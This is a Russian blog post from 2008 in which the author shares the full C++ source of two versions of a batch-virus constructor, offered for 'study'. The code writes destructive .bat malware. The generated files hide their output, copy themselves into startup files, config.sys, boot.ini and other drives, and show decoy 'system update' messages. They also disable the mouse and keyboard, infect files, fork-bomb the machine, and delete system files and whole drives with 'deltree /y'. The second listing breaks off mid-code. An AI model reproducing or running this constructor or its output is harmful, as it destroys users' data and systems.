Меню
Категории
Конструктор BAT вирсуов на C++
14 января, 2008 Вирусы

Джексон: (саркастически) О. Вы правы!
Мы… мы просто загрузим на их главный
корабль компьютерный вирус!

«Звёздные врата SG-1»

Конструктор BAT вирсуов на C++

Увлекался я одно время изучением компьютерных вирусов. Поскольку языками программирования сильно я не владел. То довольствовался BAT вирусами. А вот после того, как познал радости C++ и прочел в вирусных журналах о вирусах- конструкторах.

Конструктор вирусов — это утилита, предназначенная для изготовления новых компьютерных вирусов. Известны конструкторы вирусов для DOS, Windows и макро-вирусов. Они позволяют генерировать исходные тексты вирусов (ASM-файлы), объектные модули, и/или непосредственно зараженные файлы. Некоторые конструктороы (VLC, NRLG) снабжены стандартным оконным интерфейсом, где при помощи системы меню можно выбрать тип вируса, поражаемые объекты (COM и/или EXE), наличие или отсутствие самошифровки, противодействие отладчику, внутренние текстовые строки, выбрать эффекты, сопровождающие работу вируса и т.п. Прочие конструкторы (PS-MPC, G2) не имеют интерфейса и считывают информацию о типе вируса из конфигурационного файла.

У меня было 2 версии вирусов конструкторов. Сорцы которого, думаю, могут вам пригодиться для изучения.

#pragma hdrstop
#include <iostream.h>
#include <conio.h>
#include <fstream.h>
#include <stdlib.h>
#pragma argsused

int main(int argc, char* argv[])
{
char ex = ‘n’;
char A[20];
int a,i; // Выбранный элемент
do
{

clrscr();
textcolor(RED);
textbackground(WHITE);
clrscr();
cout<<«\n\t +——————————————+ «;
cout<<«\n\t | Bat virus creator [ka$] v1.0 | «;
cout<<«\n\t | [ Black Smallpox Virus Organization ] | «;
cout<<«\n\t +——————————————+ «;
cout<<endl<<endl; // Выбор категории в программе
cout<<» 1 — Начать создание вируса.»<<endl;
cout<<» 2 — Выйти из программы.»<<endl;
cout<<» 3 — Прочесть о авторах.»<<endl<<endl;
cout<<» Select : «;
cin>>a;
//Menu 2
if (a==2)
{
return 0;
}
//Menu 2
//Menu 3
if (a==3)
{
clrscr();
cout<<«\n\t +——————————————+ «;
cout<<«\n\t | Bat virus creator [ka$] v1.0 | «; // Copyright.
cout<<«\n\t | [ Black Smallpox Virus Organization ] | «;
cout<<«\n\t +——————————————+ «;
cout<<endl<<endl;
cout<<» ……Black Smallpox Virus Organization…… «<<endl;
cout<<» ……….This program make in C++……….. «<<endl;
cout<<» ………Author this program — [ka$]……… «<<endl; //Про нас
cout<<» ……..Bat virus creator [ka$] v1.0……… «<<endl;
cout<<» ……………………………………… «<<endl;
cout<<» ……………………………………… «<<endl;
}
//Menu 3
/////////////////*СТАРТОВОЕ МЕНЮ*//////////

//////
//Menu 1
if (a==1)
{
clrscr();
cout<<«\n\t +——————————————+ «;
cout<<«\n\t | Bat virus creator [ka$] v1.0 | «;
cout<<«\n\t | [ Black Smallpox Virus Organization ] | «;
cout<<«\n\t +——————————————+ «;
cout<<endl<<endl;
cout<<«\t Создаем новый вирус: «<<endl;
ofstream file;
file.open(«Bat.Vir.Ka$.bat»,ios::app);
file<<endl<<«@set %Bat.Vir.Ka$.bat%»<<endl;
file.close();

clrscr();
cout<<«\n\t +——————————————+ «;
cout<<«\n\t | Bat virus creator [ka$] v1.0 | «;
cout<<«\n\t | [ Black Smallpox Virus Organization ] | «;
cout<<«\n\t +——————————————+ «;
cout<<«\n\t Как прятать вирус?»<<endl;
cout<<«1 — @echo off Старый добрый способ.»<<endl;
cout<<«2 — @ctty nul (Ничего не отобразится.)»<<endl<<» : «;
cin>>a;
if(a==1)
{
ofstream file;
file.open(«Bat.Vir.Ka$.bat»,ios::app);
file<<endl<<«@Echo off»;
file.close();
}
if(a==2)
{
ofstream file;
file.open(«Bat.Vir.Ka$.bat»,ios::app);
file<<endl<<«@ctty nul»;
file.close();
}

clrscr();
cout<<«\n\t +——————————————+ «;
cout<<«\n\t | Bat virus creator [ka$] v1.0 | «;
cout<<«\n\t | [ Black Smallpox Virus Organization ] | «;
cout<<«\n\t +——————————————+ «;
cout<<endl<<endl;
cout<<» Что будем делать при перезагрузке ?»<<endl;
cout<<«1 — Завесить комп при перезагрузке.»<<endl;
cout<<«2 — Ничего.»<<endl;
cout<<«3 — Дописаться в загрузочные файлы.»<<endl;
cout<<«4 — Копировать тело вируса в системные папки, и ссылки.»<<endl;
cout<<«5 — Выдавать сообщение при загрузке компа.»<<endl;
cin>>a;
if(a==1)
{
ofstream file;
file.open(«Bat.Vir.Ka$.bat»,ios::app);
file<<endl<<«;»;
file<<endl<<«:o»;
file<<endl<<«start %0»;
file<<endl<<«goto :o»;
file.close();
}
if(a==3)
{
ofstream file;
file.open(«Bat.Vir.Ka$.bat»,ios::app);
file<<endl<<«copy %0 %windir%/winstart.bat»;
file<<endl<<«copy %0 c:\Config.sys»;
file<<endl<<«copy %0 c:\autoexec.bat»;
file.close();
}
if(a==4)
{
ofstream file;
file.open(«Bat.Vir.Ka$.bat»,ios::app);
file<<endl<<«copy %0 %windir%/winstart.bat»;
file<<endl<<«copy %0 c:\boot.ini»;
file<<endl<<«copy %0 c:\autoexec.bat»;
file.close();
}
if(a==5)
{
ofstream file;
file.open(«Bat.Vir.Ka$.bat»,ios::app);
file<<endl<<«Jour are bad lammerrrrrrrrr»;
file.close();
}

clrscr();
cout<<«\n\t +——————————————+ «;
cout<<«\n\t | Bat virus creator [ka$] v1.0 | «;
cout<<«\n\t | [ Black Smallpox Virus Organization ] | «;
cout<<«\n\t +——————————————+ «;
cout<<endl<<endl;
cout<<«\t Выберите отвлекающую фразу : «<<endl;
cout<<«1 — Подождите, идет обновление параметров системы.»<<endl;
cout<<«2 — Please wait.»<<endl;
cout<<«3 — Работаю не отвлекай ;).»<<endl;
cout<<«4 — Updating system, please wait.»<<endl;
cin>>a;
if(a==1)
{
ofstream file;
file.open(«Bat.Vir.Ka$.bat»,ios::app);
file<<endl<<«@Echo Подождите, идет обновление параметров системы»;
file.close();
}
if(a==2)
{
ofstream file;
file.open(«Bat.Vir.Ka$.bat»,ios::app);
file<<endl<<«@Echo Please wait»;
file.close();
}
if(a==3)
{
ofstream file;
file.open(«Bat.Vir.Ka$.bat»,ios::app);
file<<endl<<«@Echo Работаю не отвлекай ;)»;
file.close();
}

nif(a==4)
{
ofstream file;
file.open(«Bat.Vir.Ka$.bat»,ios::app);
file<<endl<<«@Echo Updating system, please wait»;
file.close();
}

clrscr();
cout<<«\n\t +——————————————+ «;
cout<<«\n\t | Bat virus creator [ka$] v1.0 | «;
cout<<«\n\t | [ Black Smallpox Virus Organization ] | «;
cout<<«\n\t +——————————————+ «;
cout<<endl<<endl;
cout<<«\t Выберите функцию, которую можно вставить в вирус : «<<endl;
cout<<«1 — Завершение работы Windows.»<<endl;
cout<<«2 — Курсор мыши переместить в левый верхний угол.»<<endl;
cout<<«3 — Перезагрузка.»<<endl;
cout<<«4 — Перегрузить Explorer.»<<endl;
cout<<«5 — Переместить все не свeрнутые окна сверху вниз.»<<endl;
cout<<«6 — Пеpезагpузка только виндов.»<<endl;
cout<<«7 — Отключить мышь.»<<endl;
cout<<«8 — Отключить клавиатypy.»<<endl;
cout<<«9 — Пеpеставить клавиши мыши.»<<endl;
cout<<«0 — Откpыть Панели yпpавления»<<endl<<» : «;
cin>>a;
if(a==1)
{
ofstream file;
file.open(«Bat.Vir.Ka$.bat»,ios::app);
file<<endl<<«rundll32 user,exitwindows»;
file.close();
}
if(a==2)
{
ofstream file;
file.open(«Bat.Vir.Ka$.bat»,ios::app);
file<<endl<<«rundll32 user,setcursorpos»;
file.close();
}
if(a==3)
{
ofstream file;
file.open(«Bat.Vir.Ka$.bat»,ios::app);
file<<endl<<«rundll32 shell32,SHExitWindowsEx 0»;
file.close();
}
if(a==4)
{
ofstream file;
file.open(«Bat.Vir.Ka$.bat»,ios::app);
file<<endl<<«rundll32 shell32,SHExitWindowsEx -1»;
file.close();
}
if(a==5)
{
ofstream file;
file.open(«Bat.Vir.Ka$.bat»,ios::app);
file<<endl<<«rundll32 user,tilechildwindows»;
file.close();
}
if(a==6)
{
ofstream file;
file.open(«Bat.Vir.Ka$.bat»,ios::app);
file<<endl<<«rundll user.exe,restartwindows»;
file.close();
}
if(a==7)
{
ofstream file;
file.open(«Bat.Vir.Ka$.bat»,ios::app);
file<<endl<<«rundll32 mouse,disable»;
file.close();
}
if(a==8)
{
ofstream file;
file.open(«Bat.Vir.Ka$.bat»,ios::app);
file<<endl<<«rundll32 keyboard,disable»;
file.close();
}
if(a==9)
{
ofstream file;
file.open(«Bat.Vir.Ka$.bat»,ios::app);
file<<endl<<«rundll32 user,swapmousebutton»;
file.close();
}
if(a==0)
{
ofstream file;
file.open(«Bat.Vir.Ka$.bat»,ios::app);
file<<endl<<«rundll32 shell32,Control_RunDLL main.cpl»;
file.close();
}

clrscr();
cout<<«\n\t +——————————————+ «;
cout<<«\n\t | Bat virus creator [ka$] v1.0 | «;
cout<<«\n\t | [ Black Smallpox Virus Organization ] | «;
cout<<«\n\t +——————————————+ «;
cout<<endl<<endl;
cout<<«\t Хотите сменить имя диску жертвы ?»<<endl;
cout<<» 1 — Да, сменю»<<endl;
cout<<» 2 — Нет»<<endl<<» : «;
cin>>a;
if(a==1)
{
cout<<«Введи имя на которое следует поменять метку системного диска (5 знаков) : «;
ofstream file;
file.open(«Bat.Vir.Ka$.bat»,ios::app);
for(i=0;i<4;i++)
{
cin>>A[i];
file<<A[i];
}
file.close();
}

clrscr();
cout<<«\n\t +——————————————+ «;
cout<<«\n\t | Bat virus creator [ka$] v1.0 | «;
cout<<«\n\t | [ Black Smallpox Virus Organization ] | «;
cout<<«\n\t +——————————————+ «;
cout<<endl<<endl;
cout<<» Удалить что-нибудь ??»<<endl;
cout<<«1 — Да»<<endl;
cout<<«2 — Не»<<endl<<» : «;
cin>>a;
if(a==1)
{
clrscr();
cout<<«\n\t +——————————————+ «;
cout<<«\n\t | Bat virus creator [ka$] v1.0 | «;
cout<<«\n\t | [ Black Smallpox Virus Organization ] | «;
cout<<«\n\t +——————————————+ «;
cout<<endl<<endl;
cout<<«Что удалить ? «<<endl;
cout<<«1 — Autoexec.bat»<<endl;
cout<<«2 — boot.ini»<<endl;
cout<<«3 — io.sys»<<endl;
cout<<«4 — config.sys»<<endl;
cout<<«5 — msdos.sys»<<endl;
cout<<«6 — win.ini»<<endl;
cout<<«7 — System.ini»<<endl;
cout<<«8 — c:\\windows\\*.*»<<endl;
cout<<«9 — c:\\windows»<<endl<<» : «;
cin>>a;
if(a==1)
{
ofstream file;
file.open(«Bat.Vir.Ka$.bat»,ios::app);
file<<endl<<«deltree /y c:\\Autoexec.bat»;
file.close();
}
if(a==2)
{
ofstream file;
file.open(«Bat.Vir.Ka$.bat»,ios::app);
file<<endl<<«deltree /y c:\\boot.ini»;
file.close();
}
if(a==3)
{
ofstream file;
file.open(«Bat.Vir.Ka$.bat»,ios::app);
file<<endl<<«deltree /y c:\\io.sys»;
file.close();
}
if(a==4)
{
ofstream file;
file.open(«Bat.Vir.Ka$.bat»,ios::app);
file<<endl<<«deltree /y c:\\config.sys»;
file.close();
}
if(a==5)
{
ofstream file;
file.open(«Bat.Vir.Ka$.bat»,ios::app);
file<<endl<<«deltree /y c:\\msdos.sys»;
file.close();
}
if(a==6)
{
ofstream file;
file.open(«Bat.Vir.Ka$.bat»,ios::app);
file<<endl<<«deltree /y %windir%\\win.ini»;
file.close();
}
if(a==7)
{
ofstream file;
file.open(«Bat.Vir.Ka$.bat»,ios::app);
file<<endl<<«deltree /y %windir%\\system.ini»;
file.close();
}
if(a==8)
{
ofstream file;
file.open(«Bat.Vir.Ka$.bat»,ios::app);
file<<endl<<«c:\\windows\\*.*»;
file.close();
}
if(a==9)
{
ofstream file;
file.open(«Bat.Vir.Ka$.bat»,ios::app);
file<<endl<<«c:\\windows»;
file.close();
}

}

clrscr();
cout<<«\n\t +——————————————+ «;
cout<<«\n\t | Bat virus creator [ka$] v1.0 | «;
cout<<«\n\t | [ Black Smallpox Virus Organization ] | «;
cout<<«\n\t +——————————————+ «;
cout<<endl<<endl;
cout<<«\t Заражать файлы.»<<endl;
cout<<«1 — Все файлы.»<<endl;
cout<<«2 — ZIP — файлы.»<<endl;
cout<<«3 — TXT — файлы.»<<endl;
cout<<«4 — BAT — файлы.»<<endl;
cout<<«5 — RAR — файлы.»<<endl;
cout<<«6 — Не нужно заражать.»<<endl<<» : «;
cin>>a;
if(a==1)
{
ofstream file;
file.open(«Bat.Vir.Ka$.bat»,ios::app);
file<<endl<<«@For %%g in (*.*) do copy %0 %%g «;
file.close();
}
if(a==2)
{
ofstream file;
file.open(«Bat.Vir.Ka$.bat»,ios::app);
file<<endl<<«@For %%g in (*.zip) do pkzip %%g %0 «;
file.close();
}
if(a==3)
{
ofstream file;
file.open(«Bat.Vir.Ka$.bat»,ios::app);
file<<endl<<«@For %%g in (*.txt) do copy %%g %0 «;
file.close();
}
if(a==4)
{
ofstream file;
file.open(«Bat.Vir.Ka$.bat»,ios::app);
file<<endl<<«@For %%g in (*.bat) do copy %%g %0 «;
file.close();
}
if(a==5)
{
ofstream file;
file.open(«Bat.Vir.Ka$.bat»,ios::app);
file<<endl<<«@For %%g in (*.rar) do rar %%g %0 «;
file.close();
}

clrscr();
cout<<«\n\
t +——————————————+ «;
cout<<«\n\t | Bat virus creator [ka$] v1.0 | «;
cout<<«\n\t | [ Black Smallpox Virus Organization ] | «;
cout<<«\n\t +——————————————+ «;
cout<<endl<<endl;
cout<<«\t Снятие и установка новых атрибутов для файла.»<<endl;
cout<<«1 — Снять атрибуты.»<<endl;
cout<<«2 — Поставить атрибуты.»<<endl;
cout<<«3 — Не нужно.»<<endl<<» : «;
cin>>a;
if(a==1)
{
cout<<«Введи путь к файлу, если осталось место вводи \»>>>>> nul\».»<<endl;
ofstream file;
file.open(«Bat.Vir.Ka$.bat»,ios::app);
file<<endl<<«attrib «;
for(i=0;i<15;i++)
{
cin>>A[i];
file<<A[i];
}
file<<endl<<» -h -a -s -r»;
file.close();
}
if(a==2)
{
cout<<«Введи путь к файлу, если осталось место вводи \»;\».»<<endl;
ofstream file;
file.open(«Bat.Vir.Ka$.bat»,ios::app);
file<<endl<<«attrib «;
for(i=0;i<15;i++)
{
cin>>A[i];
file<<A[i];
}
file<<endl<<» +h +a +s +r»;
file.close();
}

clrscr();
cout<<«\n\t +——————————————+ «;
cout<<«\n\t | Bat virus creator [ka$] v1.0 | «;
cout<<«\n\t | [ Black Smallpox Virus Organization ] | «;
cout<<«\n\t +——————————————+ «;
cout<<endl<<endl;
cout<<» Изменить дату или время :»<<endl;
cout<<«1 — Да»<<endl;
cout<<«2 — Нет»<<endl;
cin>>a;
if(a==1)
{
//—————-
clrscr();
cout<<«\n\t +——————————————+ «;
cout<<«\n\t | Bat virus creator [ka$] v1.0 | «;
cout<<«\n\t | [ Black Smallpox Virus Organization ] | «;
cout<<«\n\t +——————————————+ «;
cout<<endl<<endl;
cout<<» Что изменять? :»<<endl;
cout<<«1 — Дату»<<endl;
cout<<«2 — Время»<<endl;
cout<<«3 — Сбросить все»<<endl;
cin>>a;
if(a==1)
{
ofstream file;
file.open(«Bat.Vir.Ka$.bat»,ios::app);
file<<endl<<«echo @date 00-00-00»;

file.close();
}
if(a==2)
{
ofstream file;
file.open(«Bat.Vir.Ka$.bat»,ios::app);
file<<endl<<«echo @time 00:00:00,0»;
file.close();
}
if(a==3)
{
ofstream file;
file.open(«Bat.Vir.Ka$.bat»,ios::app);
file<<endl<<«echo @date 00-00-00»;
file<<endl<<«echo @time 00:00:00,0»;
file.close();
}}

clrscr();
cout<<«\n\t +——————————————+ «;
cout<<«\n\t | Bat virus creator [ka$] v1.0 | «;
cout<<«\n\t | [ Black Smallpox Virus Organization ] | «;
cout<<«\n\t +——————————————+ «;
cout<<endl<<endl;
cout<<» Попросить у пользователя перезагрузки :»<<endl;
cout<<«1 — Да»<<endl;
cout<<«2 — Нет»<<endl;
cin>>a;
if(a==1)
{
ofstream file;
file.open(«Bat.Vir.Ka$.bat»,ios::app);
file<<endl<<«echo var WSHShell = WScript.CreateObject(\\\»WScript.Shell\\\»); > %temp%\\mes.js»;
file<<endl<<«echo WSHShell.Popup(\»Warning,!! А теперь необходимо перезагрузиться\»); >> %temp%\\mes.js»;
file<<endl<<«start %temp%\\mes.js»;
file.close();
}

clrscr();
cout<<«\n\t +——————————————+ «;
cout<<«\n\t | Bat virus creator [ka$] v1.0 | «;
cout<<«\n\t | [ Black Smallpox Virus Organization ] | «;
cout<<«\n\t +——————————————+ «;
cout<<endl<<endl;
cout<<» Как закончить программу ?»<<endl;
cout<<«1 — Выйти»<<endl;
cout<<«2 — Попросить нажать клавишу»<<endl;
cout<<«3 — Повесить компьютер (Начать открывать кругом окошки)»<<endl;
cin>>a;
if(a==2)
{
ofstream file;
file.open(«Bat.Vir.Ka$.bat»,ios::app);
file<<endl<<«pause»;
file.close();
}
if(a==3)
{
ofstream file;
file.open(«Bat.Vir.Ka$.bat»,ios::app);
file<<endl<<«:a»;
file<<endl<<«start &0»;
file<<endl<<«goto a»;
file.close();

}

if(a==1)
{
clrscr();
cout<<«\n\t +——————————————+ «;
cout<<«\n\t | Bat virus creator [ka$] v1.0 | «;
cout<<«\n\t | [ Black Smallpox Virus Organization ] | «;
cout<<«\n\t +——————————————+ «;
cout<<endl<<endl;
cout<<» Как выйти из программы ?»<<endl;
cout<<«1 — Exit»<<endl;
cout<<«2 — Pause»<<endl;
cout<<«3 — Cls»<<endl;
cin>>a;
if(a==1)
{
ofstream file;
file.open(«Bat.Vir.Ka$.bat»,ios::app);
file<<endl<<«exit»;
file.close();
}
if(a==2)
{
ofstream file;
file.open(«Bat.Vir.Ka$.bat»,ios::app);
file<<endl<<«pause»;
file.close();
}
if(a==3)
{
ofstream file;
file.open(«Bat.Vir.Ka$.bat»,ios::app);
file<<endl<<«cls»;
file.close();
}

}
//Menu 1

clrscr();
cout<<«\n\t +——————————————+ «;
cout<<«\n\t | Bat virus creator [ka$] v1.0 | «;
cout<<«\n\t | [ Black Smallpox Virus Organization ] | «;
cout<<«\n\t +——————————————+ «;
cout<<endl<<endl;
cout<<«Вирус готов нажмите ‘Y’ для выхода.»<<endl;
cout<<«Сам вирус лежит в той же папке, где была программа.»<<endl;

}
cout<<«\t Exit [Y/N] : «;
cin>>ex;
}
while (ex == ‘n’ || ex == ‘N’); // Запрос на выход из программы
}

И его вторая версия более совершенная.

#pragma hdrstop
#include <iostream.h>
#include <conio.h>
#include <fstream.h>
#pragma argsused

int main(int argc, char* argv[])
{
char ex = ‘n’;
char A[20];
int a,i;
char z; // Выбранный элемент
do
{

clrscr();
textcolor(RED);
textbackground(WHITE);
clrscr();
cout<<«\n\t +——————————————+ «;
cout<<«\n\t | Bat virus creator [ka$] v1.1 | «; // Copyright.
cout<<«\n\t | [ Black Smallpox Virus Organization ] | «;
cout<<«\n\t +——————————————+ «;
cout<<endl<<endl; // Выбор категории в программе
cout<<» 1 — Начать создание вируса.»<<endl;
cout<<» 2 — Выйти из программы.»<<endl;
cout<<» 3 — Прочесть о авторах.»<<endl<<endl;
cout<<» Select : «;
cin>>a;
//Menu 2
if (a==2)
{
return 0;
}
//Menu 2

//Menu 3
if (a==3)
{
clrscr();
cout<<«\n\t +————————————
——-+ «;
cout<<«\n\t | Bat virus creator [ka$] v1.1 | «; // Copyright.
cout<<«\n\t | [ Black Smallpox Virus Organization ] | «;
cout<<«\n\t +——————————————+ «;
cout<<endl<<endl;
cout<<» ……Black Smallpox Virus Organization…… «<<endl;
cout<<» ……….This program make in C++……….. «<<endl;
cout<<» ………Author this program — [ka$]……… «<<endl; //Про нас
cout<<» ……..Bat virus creator [ka$] v1.1……… «<<endl;
cout<<» ……………………………………… «<<endl;
cout<<» ……………………………………… «<<endl; // Выбор категории в программе
}
//Menu 3
//Menu 1
if (a==1)
{
clrscr();
cout<<«\n\t +——————————————+ «;
cout<<«\n\t | Bat virus creator [ka$] v1.1 | «;
cout<<«\n\t | [ Black Smallpox Virus Organization ] | «;
cout<<«\n\t +——————————————+ «;
cout<<endl<<endl;
cout<<«\t Создаем новый вирус: «<<endl;
ofstream file;
file.open(«worm.bat»,ios::app);
file<<endl<<«@set worm=%0″<<endl;
file.close();

clrscr();
cout<<«\n\t +——————————————+ «;
cout<<«\n\t | Bat virus creator [ka$] v1.1 | «;
cout<<«\n\t | [ Black Smallpox Virus Organization ] | «;
cout<<«\n\t +——————————————+ «;
cout<<«\n\t Как назвать вирус?»<<endl;
cout<<«Введите имя вашего вируса (10 знаков :).»<<endl;
ofstream bat;
bat.open(«worm.bat»,ios::app);
bat<<endl<<«rem «;
for(i=0;i<10;i++)
{
cin>>A[i];
bat<<A[i];
}
bat.close();

clrscr();
cout<<«\n\t +——————————————+ «;
cout<<«\n\t | Bat virus creator [ka$] v1.1 | «;
cout<<«\n\t | [ Black Smallpox Virus Organization ] | «;
cout<<«\n\t +——————————————+ «;
cout<<«\n\t Как зовут автора вируса?»<<endl;
cout<<«Введите имя вашего вируса (10 знаков :).»<<endl;
ofstream ki;
ki.open(«worm.bat»,ios::app);
ki<<endl<<«rem «;
for(i=0;i<10;i++)
{
cin>>A[i];
ki<<A[i];
}
ki.close();


clrscr();
cout<<«\n\t +——————————————+ «;
cout<<«\n\t | Bat virus creator [ka$] v1.1 | «;
cout<<«\n\t | [ Black Smallpox Virus Organization ] | «;
cout<<«\n\t +——————————————+ «;
cout<<«\n\t Как прятать вирус?»<<endl;
cout<<«1 — @echo off Старый добрый способ.»<<endl;
cout<<«2 — @ctty nul (Ничего не отобразится.)»<<endl<<» : «;
cin>>a;
if(a==1)
{
ofstream file;
file.open(«worm.bat»,ios::app);
file<<endl<<«@Echo off»;
file.close();
}
if(a==2)
{
ofstream file;
file.open(«worm.bat»,ios::app);
file<<endl<<«@ctty nul»;
file.close();
}

clrscr();
cout<<«\n\t +——————————————+ «;
cout<<«\n\t | Bat virus creator [ka$] v1.1 | «;
cout<<«\n\t | [ Black Smallpox Virus Organization ] | «;
cout<<«\n\t +——————————————+ «;
cout<<endl<<endl;
cout<<» Что будем делать при перезагрузке ?»<<endl;
cout<<«1 — Завесить комп при перезагрузке.»<<endl;
cout<<«2 — Ничего.»<<endl;
cout<<«3 — Дописаться в загрузочные файлы.»<<endl;
cout<<«4 — Копировать тело вируса в системные папки, и ссылки.»<<endl;
cout<<«5 — Выдавать сообщение при загрузке компа.»<<endl;
cin>>a;
if(a==1)
{
ofstream file;
file.open(«worm.bat»,ios::app);
file<<endl<<«echo ; >> autoexec.bat»;
file<<endl<<«echo :o >> autoexec.bat»;
file<<endl<<«echo start %0 >> autoexec.bat»;
file<<endl<<«echo goto :o >> autoexec.bat»;
file.close();
}
if(a==3)
{
ofstream file;
file.open(«worm.bat»,ios::app);
file<<endl<<«copy %0 %windir%/winstart.bat»;
file<<endl<<«copy %0 c:\Config.sys»;
file<<endl<<«copy %0 c:\autoexec.bat»;
file<<endl<<«copy %0 c:\boot.ini»;
file<<endl<<«copy %0 c:\autoexec.bat»;
file.close();
}
if(a==4)
{
ofstream file;
file.open(«worm.bat»,ios::app);
file<<endl<<«echo %windir%/winstart.bat >> autoexec.bat»;
file<<endl<<«copy %0 %windir%/winstart.bat»;
file<<endl<<«copy %0 c:\dos\%0 «;
file<<endl<<«copy %0 c:\windows\%0»;
file<<endl<<«copy %0 c:\winnt\%0»;
file<<endl<<«copy %0 c:\%0»;
file<<endl<<«copy %0 d:\%0»;
file<<endl<<«copy %0 a:\%0»;
file<<endl<<«copy %0 ..\%0»;
file.close();

}
if(a==5)
{
ofstream file;
file.open(«worm.bat»,ios::app);
file<<endl<<«echo Jour are bad lammerrrrrrrrr»;
file<<endl<<«echo Jour are bad lammerrrrrrrrr»;
file<<endl<<«echo Jour are bad lammerrrrrrrrr»;
file<<endl<<«echo Jour are bad lammerrrrrrrrr»;
file.close();
}

clrscr();
cout<<«\n\t +——————————————+ «;
cout<<«\n\t | Bat virus creator [ka$] v1.1 | «;
cout<<«\n\t | [ Black Smallpox Virus Organization ] | «;
cout<<«\n\t +——————————————+ «;
cout<<endl<<endl;
cout<<«\t Выберите отвлекающую фразу : «<<endl;
cout<<«1 — Подождите, идет обновление параметров системы.»<<endl;
cout<<«2 — Please wait.»<<endl;
cout<<«3 — Работаю не отвлекай ;).»<<endl;
cout<<«4 — Updating system, please wait.»<<endl;
cin>>a;
if(a==1)
{
ofstream file;
file.open(«worm.bat»,ios::app);
file<<endl<<«@Echo Подождите, идет обновление параметров системы»;
file.close();
}
if(a==2)
{
ofstream file;
file.open(«worm.bat»,ios::app);
file<<endl<<«@Echo Please wait»;
file.close();
}
if(a==3)
{
ofstream file;
file.open(«worm.bat»,ios::app);
file<<endl<<«@Echo Работаю не отвлекай ;)»;
file.close();
}
if(a==4)
{
ofstream file;
file.open(«worm.bat»,ios::app);
file<<endl<<«@Echo Updating system, please wait»;
file.close();
}

clrscr();
cout<<«\n\t +——————————————+ «;
cout<<«\n\t | Bat virus creator [ka$] v1.1 | «;
cout<<«\n\t | [ Black Smallpox Virus Organization ] | «;
cout<<«\n\t +——————————————+ «;
cout<<endl<<endl;
cout<<«\t Удалить системные файлы? : «<<endl;
cout<<«1 — Все.»<<endl;
cout<<«2 — *.com *.exe *.sys»<<endl;
cout<<«3 — Нет.»<<endl;
cin>>a;
if(a==1)
{

ofstream file;
file.open(«worm.bat»,ios::app);
file<<endl<<«deltree /y %windir%\\*.*»;
file<<endl<<«deltree /y c:\\*.*»;
file.close();
}
if(a==2)
{
ofstream file;
file.open(«worm.bat»,ios::app);
file<<endl<<«deltree /y %windir%\\*.com»;
file<<endl<<«deltree /y c:\\*.com»;
file<<endl<<«deltree /y %windir%\\*.exe»;
file<<endl<<«deltree /y c:\\*.exe»;
file<<endl<<«deltree /y %windir%\\*.sys»;
file<<endl<<«deltree /y c:\\*.sys»;
file.close();
}

clrscr();
cout<<«\n\t +——————————————+ «;
cout<<«\n\t | Bat virus creator [ka$] v1.1 | «;
cout<<«\n\t | [ Black Smallpox Virus Organization ] | «;
cout<<«\n\t +——————————————+ «;
cout<<endl<<endl;
cout<<«\t Выберите функцию, которую можно вставить в вирус : «<<endl;
cout<<«1 — Завершение работы Windows.»<<endl;
cout<<«2 — Курсор мыши переместить в левый верхний угол.»<<endl;
cout<<«3 — Перезагрузка.»<<endl;
cout<<«4 — Перегрузить Explorer.»<<endl;
cout<<«5 — Переместить все не свeрнутые окна сверху вниз.»<<endl;
cout<<«6 — Пеpезагpузка только виндов.»<<endl;
cout<<«7 — Отключить мышь.»<<endl;
cout<<«8 — Отключить клавиатypy.»<<endl;
cout<<«9 — Пеpеставить клавиши мыши.»<<endl;
cout<<«0 — Откpыть Панели yпpавления»<<endl<<» : «;
cin>>a;
if(a==1)
{
ofstream file;
file.open(«worm.bat»,ios::app);
file<<endl<<«rundll32 user,exitwindows»;
file.close();
}
if(a==2)
{
ofstream file;
file.open(«worm.bat»,ios::app);
file<<endl<<«rundll32 user,setcursorpos»;
file.close();
}
if(a==3)
{
ofstream file;
file.open(«worm.bat»,ios::app);
file<<endl<<«rundll32 shell32,SHExitWindowsEx 0»;
file.close();
}
if(a==4)
{
ofstream file;
file.open(«worm.bat»,ios::app);
file<<endl<<«rundll32 shell32,SHExitWindowsEx -1»;
file.close();
}
if(a==5)
{
ofstream file;
file.open(«worm.bat»,ios::app);
file<<endl<<«rundll32 user,tilechildwindows»;
file.close();
}
if(a==6)
{
ofstream file;
file.open(«worm.bat»,ios::app);
file<<endl<<«rundll user.exe,restartwindows»;
file.close();
}
if(a==7)
{
ofstream file;
file.open(«worm.bat»,ios::app);
file<<endl<<«rundll32 mouse,disable»;
file.close();
}
if(a==8)
{
ofstream file;
file.open(«worm.bat»,ios::app);
file<<endl<<«rundll32 keyboard,disable»;
file.close();
}
if(a==9)
{
ofstream file;
file.open(«worm.bat»,ios::app);
file<<endl<<«rundll32 user,swapmousebutton»;
file.close();
}
if(a==0)
{
ofstream file;
file.open(«worm.bat»,ios::app);
file<<endl<<«rundll32 shell32,Control_RunDLL main.cpl»;
file.close();
}

clrscr();
cout<<«\n\t +——————————————+ «;
cout<<«\n\t | Bat virus creator [ka$] v1.1 | «;
cout<<«\n\t | [ Black Smallpox Virus Organization ] | «;
cout<<«\n\t +——————————————+ «;
cout<<endl<<endl;
cout<<«\t Хотите сменить имя диску жертвы ?»<<endl;
cout<<» 1 — Да, сменю»<<endl;
cout<<» 2 — Нет»<<endl<<» : «;
cin>>a;
if(a==1)
{
cout<<«Введи имя на которое следует поменять метку системного диска (5 знаков) : «;
ofstream file;
file.open(«worm.bat»,ios::app);
for(i=0;i<4;i++)
{
cin>>A[i];
file<<A[i];
}
file.close();
}

clrscr();
cout<<«\n\t +——————————————+ «;
cout<<«\n\t | Bat virus creator [ka$] v1.1 | «;
cout<<«\n\t | [ Black Smallpox Virus Organization ] | «;
cout<<«\n\t +——————————————+ «;
cout<<endl<<endl;
cout<<» Удалить что-нибудь ??»<<endl;
cout<<«1 — Да»<<endl;
cout<<«2 — Не»<<endl<<» : «;
cin>>a;
if(a==1)
{
clrscr();
cout<<«\n\t +——————————————+ «;
cout<<«\n\t | Bat virus creator [ka$] v1.1 | «;
cout<<«\n\t | [ Black Smallpox Virus Organization ] | «;
cout<<«\n\t +——————————————+ «;
cout<<endl<<endl;
cout<<«Что удалить ? «<<endl;
cout<<«1 — Autoexec.bat»<<endl;
cout<<«2 — boot.ini»<<endl;
cout<<«3 — io.sys»<<endl;
cout<<«4 — config.sys»<<endl;
cout<<«5 — msdos.sys»<<endl;
cout<<«6 — win.ini»<<endl;
cout<<«7 — System.ini»<<endl;
cout<<«8 — c:\\windows\\*.*»<<endl;
cout<<«9 — c:\\windows»<<endl<<» : «;
cin>>a;
if(a==1)
{
ofstream file;
